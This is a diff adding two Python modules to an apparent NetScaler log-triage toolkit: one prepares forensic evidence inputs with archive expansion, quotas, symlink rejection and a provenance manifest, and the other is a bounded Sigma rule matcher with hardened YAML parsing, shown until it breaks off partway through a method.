@@ -0,0 +1,453 @@
|
|||||||
|
"""Prepare mixed evidence inputs without modifying originals or scanning toolkit output."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import gzip
|
||||||
|
import hashlib
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import shutil
|
||||||
|
import tarfile
|
||||||
|
import zlib
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import NotRequired, TypedDict
|
||||||
|
|
||||||
|
from .ingest import ArchiveError, InputError, extract_archive
|
||||||
|
|
||||||
|
|
||||||
|
class PreparationEntry(TypedDict):
|
||||||
|
source_index: int
|
||||||
|
source: str
|
||||||
|
action: str
|
||||||
|
reason: NotRequired[str]
|
||||||
|
error: NotRequired[str]
|
||||||
|
sha256: NotRequired[str | None]
|
||||||
|
size: NotRequired[int]
|
||||||
|
prepared: NotRequired[str]
|
||||||
|
appliance: NotRequired[str]
|
||||||
|
|
||||||
|
|
||||||
|
_TOOL_DIRS = {
|
||||||
|
".venv",
|
||||||
|
".runtime",
|
||||||
|
".git",
|
||||||
|
"__pycache__",
|
||||||
|
"src",
|
||||||
|
"netscaler_triage",
|
||||||
|
"tests",
|
||||||
|
"config",
|
||||||
|
"examples",
|
||||||
|
"dist",
|
||||||
|
"results",
|
||||||
|
}
|
||||||
|
_TOOL_FILES = {
|
||||||
|
"pyproject.toml",
|
||||||
|
"uv.lock",
|
||||||
|
".python-version",
|
||||||
|
".gitignore",
|
||||||
|
"requirements.txt",
|
||||||
|
"input_manifest.json",
|
||||||
|
"summary.json",
|
||||||
|
"coverage.json",
|
||||||
|
"configuration.json",
|
||||||
|
"evidence.sqlite",
|
||||||
|
"findings.jsonl",
|
||||||
|
"updates.jsonl",
|
||||||
|
"correlations.jsonl",
|
||||||
|
"README.txt",
|
||||||
|
"README.md",
|
||||||
|
"RULES.txt",
|
||||||
|
"VALIDATION.txt",
|
||||||
|
"LICENSE.txt",
|
||||||
|
}
|
||||||
|
_SYSTEM_DIRS = {"var", "log", "logs", "nsconfig", "etc", "tmp", "crash", "httpd"}
|
||||||
|
|
||||||
|
|
||||||
|
def _sha(path: Path) -> str:
|
||||||
|
with path.open("rb") as handle:
|
||||||
|
return hashlib.file_digest(handle, "sha256").hexdigest()
|
||||||
|
|
||||||
|
|
||||||
|
def _archive(path: Path) -> tuple[str | None, bool]:
|
||||||
|
"""Recognize archive content, including TAR/ZIP/7z inside ordinary .gz names."""
|
||||||
|
with path.open("rb") as handle:
|
||||||
|
head = handle.read(512)
|
||||||
|
wrapped = head.startswith(b"\x1f\x8b")
|
||||||
|
if wrapped:
|
||||||
|
try:
|
||||||
|
with gzip.open(path, "rb") as handle:
|
||||||
|
head = handle.read(512)
|
||||||
|
except OSError, EOFError, zlib.error:
|
||||||
|
return None, False # Retain corrupt gzip for explicit scanner read-error reporting.
|
||||||
|
if head.startswith((b"PK\x03\x04", b"PK\x05\x06", b"PK\x07\x08")):
|
||||||
|
return "zip", wrapped
|
||||||
|
if head.startswith(b"7z\xbc\xaf\x27\x1c"):
|
||||||
|
return "7z", wrapped
|
||||||
|
try:
|
||||||
|
if len(head) == 512:
|
||||||
|
tarfile.TarInfo.frombuf(head, "utf-8", "surrogateescape")
|
||||||
|
return "tar", wrapped
|
||||||
|
except tarfile.HeaderError, ValueError:
|
||||||
|
pass
|
||||||
|
if not wrapped and path.name.lower().endswith((".zip", ".7z", ".tar", ".tgz", ".tar.gz")):
|
||||||
|
return path.suffix.lower().lstrip("."), False # Malformed claimed archive must fail.
|
||||||
|
return None, False
|
||||||
|
|
||||||
|
|
||||||
|
def prepare_inputs(
|
||||||
|
sources: list[Path],
|
||||||
|
destination: Path,
|
||||||
|
*,
|
||||||
|
max_bytes: int = 2147483648,
|
||||||
|
max_files: int = 100000,
|
||||||
|
max_depth: int = 3,
|
||||||
|
password: str | None = None,
|
||||||
|
) -> tuple[list[tuple[str, Path]], list[PreparationEntry]]:
|
||||||
|
"""Return distinct appliance scan roots and a relative provenance/exclusion manifest.
|
||||||
|
|
||||||
|
Destination must not exist. Combined quotas include preserved archive copies,
|
||||||
|
intermediate decompression and expanded files. A failed preparation removes only
|
||||||
|
this newly created destination. Symlinks and special files fail closed.
|
||||||
|
"""
|
||||||
|
if not sources or min(max_bytes, max_files) < 1 or max_depth < 0:
|
||||||
|
raise InputError("Invalid preparation inputs or limits")
|
||||||
|
destination = Path(destination).absolute()
|
||||||
|
if any(p.is_symlink() for p in (destination, *destination.parents)):
|
||||||
|
raise InputError("Preparation destination contains a symbolic link")
|
||||||
|
destination.mkdir(exist_ok=False)
|
||||||
|
manifest: list[PreparationEntry] = []
|
||||||
|
units: list[tuple[str, Path, int]] = []
|
||||||
|
budget = {"bytes": 0, "files": 0}
|
||||||
|
|
||||||
|
def copy(source: Path, target: Path, *, compressed: bool = False) -> None:
|
||||||
|
target.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
budget["files"] += 1
|
||||||
|
if budget["files"] > max_files:
|
||||||
|
raise InputError("Combined preparation file limit exceeded")
|
||||||
|
with (
|
||||||
|
gzip.open(source, "rb") if compressed else source.open("rb") as src,
|
||||||
|
target.open("xb") as dst,
|
||||||
|
):
|
||||||
|
while chunk := src.read(65536):
|
||||||
|
budget["bytes"] += len(chunk)
|
||||||
|
if budget["bytes"] > max_bytes:
|
||||||
|
raise InputError("Combined preparation byte limit exceeded")
|
||||||
|
dst.write(chunk)
|
||||||
|
|
||||||
|
def expand(archive: Path, target: Path, kind: str, wrapped: bool, depth: int) -> Path:
|
||||||
|
if depth > max_depth:
|
||||||
|
raise InputError("Combined archive depth exceeded")
|
||||||
|
effective = archive
|
||||||
|
if wrapped and kind != "tar":
|
||||||
|
effective = archive.with_name(archive.name + ".unwrapped." + kind)
|
||||||
|
copy(archive, effective, compressed=True)
|
||||||
|
elif kind == "7z" and archive.suffix.lower() != ".7z":
|
||||||
|
effective = archive.with_name(archive.name + ".7z")
|
||||||
|
# Rename only the already preserved analysis copy, never original evidence.
|
||||||
|
archive.rename(effective)
|
||||||
|
rows = extract_archive(
|
||||||
|
effective,
|
||||||
|
target,
|
||||||
|
max_bytes=max_bytes - budget["bytes"],
|
||||||
|
max_files=max_files - budget["files"],
|
||||||
|
max_depth=max_depth - depth,
|
||||||
|
password=password,
|
||||||
|
)
|
||||||
|
budget["bytes"] += sum(row["size"] for row in rows)
|
||||||
|
budget["files"] += sum(1 for _ in target.rglob("*"))
|
||||||
|
if budget["bytes"] > max_bytes or budget["files"] > max_files:
|
||||||
|
raise InputError("Combined extraction quota exceeded")
|
||||||
|
return effective
|
||||||
|
|
||||||
|
def clean_extracted(folder: Path, source_index: int, archive_label: str) -> None:
|
||||||
|
# Existing extractor handles named nested archives. Detect gzip-wrapped archives
|
||||||
|
# with arbitrary names here; ordinary compressed log files remain unchanged.
|
||||||
|
for path in sorted(folder.rglob("*")):
|
||||||
|
if not path.is_file():
|
||||||
|
continue
|
||||||
|
relative = path.relative_to(folder).as_posix()
|
||||||
|
kind, wrapped = _archive(path)
|
||||||
|
if kind:
|
||||||
|
original = path
|
||||||
|
nested = path.with_name(path.name + ".extracted")
|
||||||
|
if not nested.exists():
|
||||||
|
depth = 1 + sum(
|
||||||
|
part.endswith(".extracted") for part in path.relative_to(folder).parts[:-1]
|
||||||
|
)
|
||||||
|
effective = expand(path, nested, kind, wrapped, depth)
|
||||||
|
clean_extracted(nested, source_index, archive_label + "!/" + relative)
|
||||||
|
path = effective
|
||||||
|
preserved = (
|
||||||
|
destination
|
||||||
|
/ "_archives"
|
||||||
|
/ str(source_index)
|
||||||
|
/ (archive_label + ".nested")
|
||||||
|
/ relative
|
||||||
|
)
|
||||||
|
preserved.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
if preserved.exists():
|
||||||
|
raise InputError("Duplicate preserved archive path")
|
||||||
|
if original.exists() and original != path:
|
||||||
|
original.rename(preserved)
|
||||||
|
intermediate = preserved.with_name(preserved.name + ".intermediate." + kind)
|
||||||
|
path.rename(intermediate)
|
||||||
|
else:
|
||||||
|
path.rename(preserved)
|
||||||
|
manifest.append(
|
||||||
|
{
|
||||||
|
"source_index": source_index,
|
||||||
|
"source": archive_label + "!/" + relative,
|
||||||
|
"action": "archive_preserved",
|
||||||
|
"sha256": _sha(preserved),
|
||||||
|
"prepared": preserved.relative_to(destination).as_posix(),
|
||||||
|
}
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
manifest.append(
|
||||||
|
{
|
||||||
|
"source_index": source_index,
|
||||||
|
"source": archive_label + "!/" + relative,
|
||||||
|
"action": "extracted",
|
||||||
|
"sha256": _sha(path),
|
||||||
|
"size": path.stat().st_size,
|
||||||
|
"prepared": path.relative_to(destination).as_posix(),
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
def toolkit_root(path: Path) -> bool:
|
||||||
|
marker = path / "pyproject.toml"
|
||||||
|
if marker.is_file() and not marker.is_symlink() and marker.stat().st_size <= 65536:
|
||||||
|
try:
|
||||||
|
return bool(
|
||||||
|
re.search(
|
||||||
|
r'name\s*=\s*["\x27]netscaler-triage["\x27]',
|
||||||
|
marker.read_text(errors="replace"),
|
||||||
|
)
|
||||||
|
)
|
||||||
|
except OSError:
|
||||||
|
return False # The unreadable marker will receive its own input error record.
|
||||||
|
return (path / "src" / "netscaler_triage" / "__init__.py").is_file()
|
||||||
|
|
||||||
|
def accept(
|
||||||
|
path: Path,
|
||||||
|
relative: str,
|
||||||
|
source_index: int,
|
||||||
|
plain: Path,
|
||||||
|
label: str,
|
||||||
|
*,
|
||||||
|
is_tool_root: bool = False,
|
||||||
|
) -> None:
|
||||||
|
metadata = path.name == ".DS_Store"
|
||||||
|
if metadata or (
|
||||||
|
is_tool_root and (path.name in _TOOL_FILES or re.fullmatch(r"scan-.*\.log", path.name))
|
||||||
|
):
|
||||||
|
manifest.append(
|
||||||
|
{
|
||||||
|
"source_index": source_index,
|
||||||
|
"source": relative,
|
||||||
|
"action": "excluded",
|
||||||
|
"reason": "filesystem_metadata" if metadata else "tool_or_generated_file",
|
||||||
|
}
|
||||||
|
)
|
||||||
|
return
|
||||||
|
if path.stat().st_size > max_bytes - budget["bytes"]:
|
||||||
|
raise InputError("Combined preparation byte limit exceeded")
|
||||||
|
digest = _sha(path)
|
||||||
|
kind, wrapped = _archive(path)
|
||||||
|
if kind:
|
||||||
|
preserved = destination / "_archives" / str(source_index) / relative
|
||||||
|
copy(path, preserved)
|
||||||
|
if _sha(preserved) != digest:
|
||||||
|
raise InputError("Archive input changed during copy")
|
||||||
|
target = destination / f"source-{source_index:04}" / (relative + ".extracted")
|
||||||
|
target.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
effective = expand(preserved, target, kind, wrapped, 0)
|
||||||
|
manifest.append(
|
||||||
|
{
|
||||||
|
"source_index": source_index,
|
||||||
|
"source": relative,
|
||||||
|
"action": "archive_expanded",
|
||||||
|
"sha256": digest,
|
||||||
|
"size": path.stat().st_size,
|
||||||
|
"prepared": effective.relative_to(destination).as_posix(),
|
||||||
|
}
|
||||||
|
)
|
||||||
|
clean_extracted(target, source_index, relative)
|
||||||
|
units.append((Path(relative).name + "@" + label, target, source_index))
|
||||||
|
else:
|
||||||
|
target = plain / relative
|
||||||
|
copy(path, target)
|
||||||
|
if _sha(target) != digest:
|
||||||
|
raise InputError("Input changed during copy")
|
||||||
|
manifest.append(
|
||||||
|
{
|
||||||
|
"source_index": source_index,
|
||||||
|
"source": relative,
|
||||||
|
"action": "copied",
|
||||||
|
"sha256": digest,
|
||||||
|
"size": path.stat().st_size,
|
||||||
|
"prepared": target.relative_to(destination).as_posix(),
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
def unwrap(folder: Path) -> Path:
|
||||||
|
while True:
|
||||||
|
children = list(folder.iterdir())
|
||||||
|
if len(children) != 1 or not children[0].is_dir():
|
||||||
|
return folder
|
||||||
|
folder = children[0]
|
||||||
|
|
||||||
|
def accept_safely(
|
||||||
|
path: Path,
|
||||||
|
relative: str,
|
||||||
|
source_index: int,
|
||||||
|
plain: Path,
|
||||||
|
label: str,
|
||||||
|
*,
|
||||||
|
is_tool_root: bool = False,
|
||||||
|
) -> None:
|
||||||
|
previous_rows = len(manifest)
|
||||||
|
try:
|
||||||
|
accept(path, relative, source_index, plain, label, is_tool_root=is_tool_root)
|
||||||
|
except (PermissionError, FileNotFoundError, ArchiveError) as exc:
|
||||||
|
# Output write failures are fatal; only unavailable evidence is skipped.
|
||||||
|
filename = getattr(exc, "filename", None)
|
||||||
|
if filename and Path(filename).absolute().is_relative_to(destination):
|
||||||
|
raise
|
||||||
|
partial = plain / relative
|
||||||
|
if partial.is_file():
|
||||||
|
partial.unlink()
|
||||||
|
extracted = destination / f"source-{source_index:04}" / (relative + ".extracted")
|
||||||
|
if extracted.is_dir():
|
||||||
|
shutil.rmtree(extracted)
|
||||||
|
del manifest[previous_rows:]
|
||||||
|
row: PreparationEntry = {
|
||||||
|
"source_index": source_index,
|
||||||
|
"source": relative,
|
||||||
|
"action": "error",
|
||||||
|
"error": type(exc).__name__,
|
||||||
|
"reason": (
|
||||||
|
"Input unreadable, damaged archive, or password unavailable; not analyzed"
|
||||||
|
),
|
||||||
|
}
|
||||||
|
preserved = destination / "_archives" / str(source_index) / relative
|
||||||
|
if preserved.is_file():
|
||||||
|
row["sha256"] = _sha(preserved)
|
||||||
|
row["prepared"] = preserved.relative_to(destination).as_posix()
|
||||||
|
manifest.append(row)
|
||||||
|
|
||||||
|
try:
|
||||||
|
for source_index, source in enumerate(sources, 1):
|
||||||
|
source = Path(source).absolute()
|
||||||
|
if source.is_symlink() or any(p.is_symlink() for p in source.parents):
|
||||||
|
raise InputError("Input path contains a symbolic link")
|
||||||
|
if not source.is_file() and not source.is_dir():
|
||||||
|
raise InputError("Unsupported input path")
|
||||||
|
plain = destination / f"source-{source_index:04}" / "plain"
|
||||||
|
label = source.stem if source.is_file() else source.name
|
||||||
|
if source.is_file():
|
||||||
|
accept_safely(source, source.name, source_index, plain, label)
|
||||||
|
else:
|
||||||
|
|
||||||
|
def walk_error(
|
||||||
|
exc: OSError, current_source: Path = source, current_index: int = source_index
|
||||||
|
) -> None:
|
||||||
|
error_path = Path(exc.filename) if exc.filename else current_source
|
||||||
|
manifest.append(
|
||||||
|
{
|
||||||
|
"source_index": current_index,
|
||||||
|
"source": error_path.relative_to(current_source).as_posix(),
|
||||||
|
"action": "error",
|
||||||
|
"error": type(exc).__name__,
|
||||||
|
"reason": "Input directory unreadable; subtree not analyzed",
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
for directory_name, dirs, files in os.walk(
|
||||||
|
source, followlinks=False, onerror=walk_error
|
||||||
|
):
|
||||||
|
directory = Path(directory_name)
|
||||||
|
for name in sorted(dirs + files):
|
||||||
|
path = directory / name
|
||||||
|
if path.is_symlink():
|
||||||
|
raise InputError("Symbolic link inside input")
|
||||||
|
for name in list(dirs):
|
||||||
|
path = directory / name
|
||||||
|
generated_output = (
|
||||||
|
name.startswith("triage-results-") and (path / "summary.json").is_file()
|
||||||
|
)
|
||||||
|
if (
|
||||||
|
path == destination
|
||||||
|
or (toolkit_root(directory) and name in _TOOL_DIRS)
|
||||||
|
or generated_output
|
||||||
|
):
|
||||||
|
dirs.remove(name)
|
||||||
|
manifest.append(
|
||||||
|
{
|
||||||
|
"source_index": source_index,
|
||||||
|
"source": path.relative_to(source).as_posix(),
|
||||||
|
"action": "excluded",
|
||||||
|
"reason": "tool_or_output_directory",
|
||||||
|
}
|
||||||
|
)
|
||||||
|
dirs.sort()
|
||||||
|
for name in sorted(files):
|
||||||
|
path = directory / name
|
||||||
|
if path.exists() and not path.is_file():
|
||||||
|
raise InputError("Special file inside input")
|
||||||
|
accept_safely(
|
||||||
|
path,
|
||||||
|
path.relative_to(source).as_posix(),
|
||||||
|
source_index,
|
||||||
|
plain,
|
||||||
|
label,
|
||||||
|
is_tool_root=toolkit_root(directory),
|
||||||
|
)
|
||||||
|
if plain.exists() and any(p.is_file() for p in plain.rglob("*")):
|
||||||
|
units.append((label, plain, source_index))
|
||||||
|
groups: list[tuple[str, Path]] = []
|
||||||
|
for label, folder, source_index in units:
|
||||||
|
unit_root = folder
|
||||||
|
folder = unwrap(folder)
|
||||||
|
children = list(folder.iterdir())
|
||||||
|
directories = [p for p in children if p.is_dir()]
|
||||||
|
if (
|
||||||
|
children
|
||||||
|
and len(directories) == len(children)
|
||||||
|
and not any(p.name.lower() in _SYSTEM_DIRS for p in directories)
|
||||||
|
):
|
||||||
|
candidates = [(p.name, unwrap(p)) for p in sorted(directories)]
|
||||||
|
else:
|
||||||
|
wrappers = [
|
||||||
|
part
|
||||||
|
for part in folder.relative_to(unit_root).parts
|
||||||
|
if part.lower()
|
||||||
|
not in _SYSTEM_DIRS | {"wrapper", "netlogs", "export", "logexport"}
|
||||||
|
and not part.endswith(".extracted")
|
||||||
|
]
|
||||||
|
candidates = [(wrappers[-1] if wrappers else label, folder)]
|
||||||
|
for name, path in candidates:
|
||||||
|
name = re.sub(r"[^A-Za-z0-9_.@-]+", "_", name).strip("._") or "input"
|
||||||
|
unique = name
|
||||||
|
existing = {group_name for group_name, _ in groups}
|
||||||
|
suffix = 2
|
||||||
|
while unique in existing:
|
||||||
|
unique = f"{name}-{suffix}"
|
||||||
|
suffix += 1
|
||||||
|
groups.append((unique, path))
|
||||||
|
manifest.append(
|
||||||
|
{
|
||||||
|
"source_index": source_index,
|
||||||
|
"source": label,
|
||||||
|
"action": "scan_root",
|
||||||
|
"appliance": unique,
|
||||||
|
"prepared": path.relative_to(destination).as_posix(),
|
||||||
|
"reason": "structural_grouping_not_verified_device_identity",
|
||||||
|
}
|
||||||
|
)
|
||||||
|
if not groups:
|
||||||
|
raise InputError("No log inputs remain after preparation")
|
||||||
|
return groups, manifest
|
||||||
|
except BaseException:
|
||||||
|
shutil.rmtree(destination)
|
||||||
|
raise
|
||||||
@@ -0,0 +1,357 @@
|
|||||||
|
"""Explicit, bounded local subset of Sigma; official pySigma parses the rule model.
|
||||||
|
|
||||||
|
No aggregation, correlation rules, filters, pipelines, or backend conversion.
|
||||||
|
Decoded strings are alternative raw-text views of the same normalized event.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import math
|
||||||
|
from collections.abc import Callable, Mapping, Sequence
|
||||||
|
from dataclasses import dataclass
|
||||||
|
|
||||||
|
import regex
|
||||||
|
import yaml
|
||||||
|
from sigma.collection import SigmaCollection
|
||||||
|
from sigma.conditions import (
|
||||||
|
ConditionAND,
|
||||||
|
ConditionFieldEqualsValueExpression,
|
||||||
|
ConditionNOT,
|
||||||
|
ConditionOR,
|
||||||
|
ConditionValueExpression,
|
||||||
|
)
|
||||||
|
from sigma.rule import SigmaDetection, SigmaDetectionItem, SigmaRule
|
||||||
|
from sigma.types import (
|
||||||
|
SigmaBool,
|
||||||
|
SigmaNull,
|
||||||
|
SigmaNumber,
|
||||||
|
SigmaRegularExpression,
|
||||||
|
SigmaRegularExpressionFlag,
|
||||||
|
SigmaString,
|
||||||
|
SpecialChars,
|
||||||
|
)
|
||||||
|
|
||||||
|
Predicate = Callable[[Mapping[str, object]], bool]
|
||||||
|
_MODIFIERS = {
|
||||||
|
"SigmaContainsModifier",
|
||||||
|
"SigmaStartswithModifier",
|
||||||
|
"SigmaEndswithModifier",
|
||||||
|
"SigmaRegularExpressionModifier",
|
||||||
|
"SigmaAllModifier",
|
||||||
|
}
|
||||||
|
_SERVICES = {"http_access", "http_error", "syslog", "shell_log", "unknown"}
|
||||||
|
_ALIASES = {"_raw": "raw", "message": "raw", "src": "source_ip", "client_ip": "source_ip"}
|
||||||
|
|
||||||
|
|
||||||
|
class UnsupportedSigma(ValueError):
|
||||||
|
"""A rule lies outside the documented local evaluation subset."""
|
||||||
|
|
||||||
|
|
||||||
|
class SigmaEvaluationLimit(ValueError):
|
||||||
|
"""An event exceeds the supported evaluation bounds; record coverage as partial."""
|
||||||
|
|
||||||
|
|
||||||
|
def _indicator_catalog(attributes: Mapping[str, object]) -> list[dict[str, object]]:
|
||||||
|
rows = attributes.get("indicators", [])
|
||||||
|
if not isinstance(rows, list) or len(rows) > 10000:
|
||||||
|
raise UnsupportedSigma("Sigma indicators metadata must be a list of at most 10000 rows")
|
||||||
|
result: list[dict[str, object]] = []
|
||||||
|
for row in rows:
|
||||||
|
if not isinstance(row, dict) or not all(isinstance(k, str) for k in row):
|
||||||
|
raise UnsupportedSigma("Sigma indicator metadata must contain string-keyed mappings")
|
||||||
|
for key in ("type", "value"):
|
||||||
|
if not isinstance(row.get(key), str) or not row[key] or len(row[key]) > 65536:
|
||||||
|
raise UnsupportedSigma(
|
||||||
|
"Sigma indicator metadata requires bounded type/value strings"
|
||||||
|
)
|
||||||
|
if "status" in row and (not isinstance(row["status"], str) or not row["status"]):
|
||||||
|
raise UnsupportedSigma("Sigma indicator status must be a nonempty string")
|
||||||
|
try:
|
||||||
|
if len(json.dumps(row).encode()) > 131072:
|
||||||
|
raise UnsupportedSigma("Sigma indicator metadata row exceeds 128 KiB")
|
||||||
|
except TypeError as exc:
|
||||||
|
raise UnsupportedSigma("Sigma indicator metadata must be JSON serializable") from exc
|
||||||
|
result.append(dict(row))
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def _field(name: str) -> str:
|
||||||
|
return _ALIASES.get(name.casefold(), name.casefold())
|
||||||
|
|
||||||
|
|
||||||
|
def _check_yaml_node(node: yaml.Node, depth: int = 0) -> None:
|
||||||
|
if depth > 32:
|
||||||
|
raise UnsupportedSigma("Sigma YAML nesting exceeds 32 levels")
|
||||||
|
if isinstance(node, yaml.MappingNode):
|
||||||
|
names: set[str] = set()
|
||||||
|
for key, value in node.value:
|
||||||
|
if not isinstance(key, yaml.ScalarNode) or key.tag != "tag:yaml.org,2002:str":
|
||||||
|
raise UnsupportedSigma("Sigma YAML mapping keys must be strings")
|
||||||
|
if key.value in names:
|
||||||
|
raise UnsupportedSigma("Duplicate Sigma YAML mapping key")
|
||||||
|
names.add(key.value)
|
||||||
|
_check_yaml_node(value, depth + 1)
|
||||||
|
elif isinstance(node, yaml.SequenceNode):
|
||||||
|
for child in node.value:
|
||||||
|
_check_yaml_node(child, depth + 1)
|
||||||
|
|
||||||
|
|
||||||
|
def _modifiers(detection: object, depth: int = 0) -> None:
|
||||||
|
if depth > 32:
|
||||||
|
raise UnsupportedSigma("Sigma detection nesting exceeds 32 levels")
|
||||||
|
if isinstance(detection, SigmaDetection):
|
||||||
|
for item in detection.detection_items:
|
||||||
|
_modifiers(item, depth + 1)
|
||||||
|
elif isinstance(detection, SigmaDetectionItem):
|
||||||
|
for modifier in detection.modifiers:
|
||||||
|
if modifier.__name__ not in _MODIFIERS:
|
||||||
|
raise UnsupportedSigma(f"Unsupported Sigma modifier: {modifier.__name__}")
|
||||||
|
else:
|
||||||
|
raise UnsupportedSigma("Unsupported Sigma detection model")
|
||||||
|
|
||||||
|
|
||||||
|
def _compile(node: object, timeout: float, budget: list[int], depth: int = 0) -> Predicate:
|
||||||
|
budget[0] += 1
|
||||||
|
if budget[0] > 10000 or depth > 32:
|
||||||
|
raise UnsupportedSigma("Sigma condition exceeds node or depth limit")
|
||||||
|
if isinstance(node, (ConditionAND, ConditionOR, ConditionNOT)):
|
||||||
|
children = [_compile(child, timeout, budget, depth + 1) for child in node.args]
|
||||||
|
if isinstance(node, ConditionAND):
|
||||||
|
return lambda event: all(child(event) for child in children)
|
||||||
|
if isinstance(node, ConditionOR):
|
||||||
|
return lambda event: any(child(event) for child in children)
|
||||||
|
if len(children) != 1:
|
||||||
|
raise UnsupportedSigma("Invalid Sigma NOT condition")
|
||||||
|
return lambda event: not children[0](event)
|
||||||
|
if not isinstance(node, (ConditionFieldEqualsValueExpression, ConditionValueExpression)):
|
||||||
|
raise UnsupportedSigma(f"Unsupported Sigma condition: {type(node).__name__}")
|
||||||
|
name = _field(node.field) if isinstance(node, ConditionFieldEqualsValueExpression) else "raw"
|
||||||
|
keyword = isinstance(node, ConditionValueExpression)
|
||||||
|
value = node.value
|
||||||
|
if isinstance(value, SigmaNull):
|
||||||
|
return lambda event: name not in event or event[name] is None
|
||||||
|
if isinstance(value, (SigmaNumber, SigmaBool)):
|
||||||
|
expected = value.number if isinstance(value, SigmaNumber) else value.boolean
|
||||||
|
|
||||||
|
def typed_match(event: Mapping[str, object]) -> bool:
|
||||||
|
values = event.get(name)
|
||||||
|
sequence = values if isinstance(values, (list, tuple)) else [values]
|
||||||
|
return any(
|
||||||
|
candidate == expected and type(candidate) is type(expected)
|
||||||
|
for candidate in sequence
|
||||||
|
)
|
||||||
|
|
||||||
|
return typed_match
|
||||||
|
flags = 0
|
||||||
|
if isinstance(value, SigmaString):
|
||||||
|
parts = []
|
||||||
|
for part in value.s:
|
||||||
|
if isinstance(part, str):
|
||||||
|
parts.append(regex.escape(part))
|
||||||
|
elif part == SpecialChars.WILDCARD_MULTI:
|
||||||
|
parts.append(".*")
|
||||||
|
elif part == SpecialChars.WILDCARD_SINGLE:
|
||||||
|
parts.append(".")
|
||||||
|
else:
|
||||||
|
raise UnsupportedSigma("Unsupported placeholder or Sigma string component")
|
||||||
|
expression = "".join(parts)
|
||||||
|
flags = regex.IGNORECASE | regex.DOTALL
|
||||||
|
fullmatch = not keyword
|
||||||
|
elif isinstance(value, SigmaRegularExpression):
|
||||||
|
expression = str(value.regexp)
|
||||||
|
fullmatch = False
|
||||||
|
for flag in value.flags:
|
||||||
|
flags |= {
|
||||||
|
SigmaRegularExpressionFlag.IGNORECASE: regex.IGNORECASE,
|
||||||
|
SigmaRegularExpressionFlag.MULTILINE: regex.MULTILINE,
|
||||||
|
SigmaRegularExpressionFlag.DOTALL: regex.DOTALL,
|
||||||
|
}[flag]
|
||||||
|
else:
|
||||||
|
raise UnsupportedSigma(f"Unsupported Sigma value: {type(value).__name__}")
|
||||||
|
compiled = regex.compile(expression, flags)
|
||||||
|
|
||||||
|
def match(event: Mapping[str, object]) -> bool:
|
||||||
|
values = event.get(name)
|
||||||
|
sequence = values if isinstance(values, (list, tuple)) else [values]
|
||||||
|
for candidate in sequence:
|
||||||
|
if isinstance(candidate, str):
|
||||||
|
if len(candidate) > 1048576:
|
||||||
|
raise SigmaEvaluationLimit("Sigma event field exceeds 1 MiB")
|
||||||
|
matched = (
|
||||||
|
compiled.fullmatch(candidate, timeout=timeout)
|
||||||
|
if fullmatch
|
||||||
|
else compiled.search(candidate, timeout=timeout)
|
||||||
|
)
|
||||||
|
if matched:
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
|
return match
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class _Rule:
|
||||||
|
identifier: str
|
||||||
|
service: str | None
|
||||||
|
predicate: Predicate
|
||||||
|
uses_raw: bool
|
||||||
|
fields: frozenset[str]
|
||||||
|
metadata: dict[str, object]
|
||||||
|
|
||||||
|
|
||||||
|
def _used_fields(node: object) -> set[str]:
|
||||||
|
if isinstance(node, ConditionValueExpression):
|
||||||
|
return {"raw"}
|
||||||
|
if isinstance(node, ConditionFieldEqualsValueExpression):
|
||||||
|
return {_field(node.field)}
|
||||||
|
if isinstance(node, (ConditionAND, ConditionOR, ConditionNOT)):
|
||||||
|
return {name for child in node.args for name in _used_fields(child)}
|
||||||
|
return set()
|
||||||
|
|
||||||
|
|
||||||
|
class SigmaMatcher:
|
||||||
|
"""Local subset: strings, wildcards, field maps, selected modifiers and Boolean AST.
|
||||||
|
|
||||||
|
Fields are case-insensitive names; values retain Sigma string/regex semantics.
|
||||||
|
Product must be netscaler; optional service is an exact normalized event kind.
|
||||||
|
Decoded alternatives replace raw only, never unrelated structured fields.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(
|
||||||
|
self, rules: list[_Rule], indicators: list[dict[str, object]] | None = None
|
||||||
|
) -> None:
|
||||||
|
self.rules = rules
|
||||||
|
self.indicators = indicators or []
|
||||||
|
self.fields = frozenset({"raw"}.union(*(rule.fields for rule in rules)))
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def from_yaml(cls, text: str, timeout: float = 0.05, source: str = "") -> SigmaMatcher:
|
||||||
|
if not math.isfinite(timeout) or timeout <= 0:
|
||||||
|
raise ValueError("Sigma regex timeout must be positive and finite")
|
||||||
|
if len(text.encode()) > 4194304:
|
||||||
|
raise UnsupportedSigma("Sigma input exceeds 4 MiB")
|
||||||
|
# Reject alias expansion and custom tags before loading any official models.
|
||||||
|
for count, token in enumerate(yaml.scan(text)):
|
||||||
|
if count > 100000 or isinstance(
|
||||||
|
token, (yaml.AliasToken, yaml.AnchorToken, yaml.TagToken)
|
||||||
|
):
|
||||||
|
raise UnsupportedSigma(
|
||||||
|
"YAML aliases, anchors, tags or excessive tokens are unsupported"
|
||||||
|
)
|
||||||
|
for document_node in yaml.compose_all(text):
|
||||||
|
if document_node is not None:
|
||||||
|
_check_yaml_node(document_node)
|
||||||
|
documents = list(yaml.safe_load_all(text))
|
||||||
|
if not 1 <= len(documents) <= 256:
|
||||||
|
raise UnsupportedSigma("Sigma document count must be 1..256")
|
||||||
|
for document in documents:
|
||||||
|
if not isinstance(document, dict) or any(
|
||||||
|
k in document for k in ("correlation", "filter", "action")
|
||||||
|
):
|
||||||
|
raise UnsupportedSigma(
|
||||||
|
"Sigma correlations, filters and collection actions are unsupported"
|
||||||
|
)
|
||||||
|
detection = document.get("detection")
|
||||||
|
if not isinstance(detection, dict) or "timeframe" in detection:
|
||||||
|
raise UnsupportedSigma("Missing detection or unsupported timeframe")
|
||||||
|
collection = SigmaCollection.from_yaml(text)
|
||||||
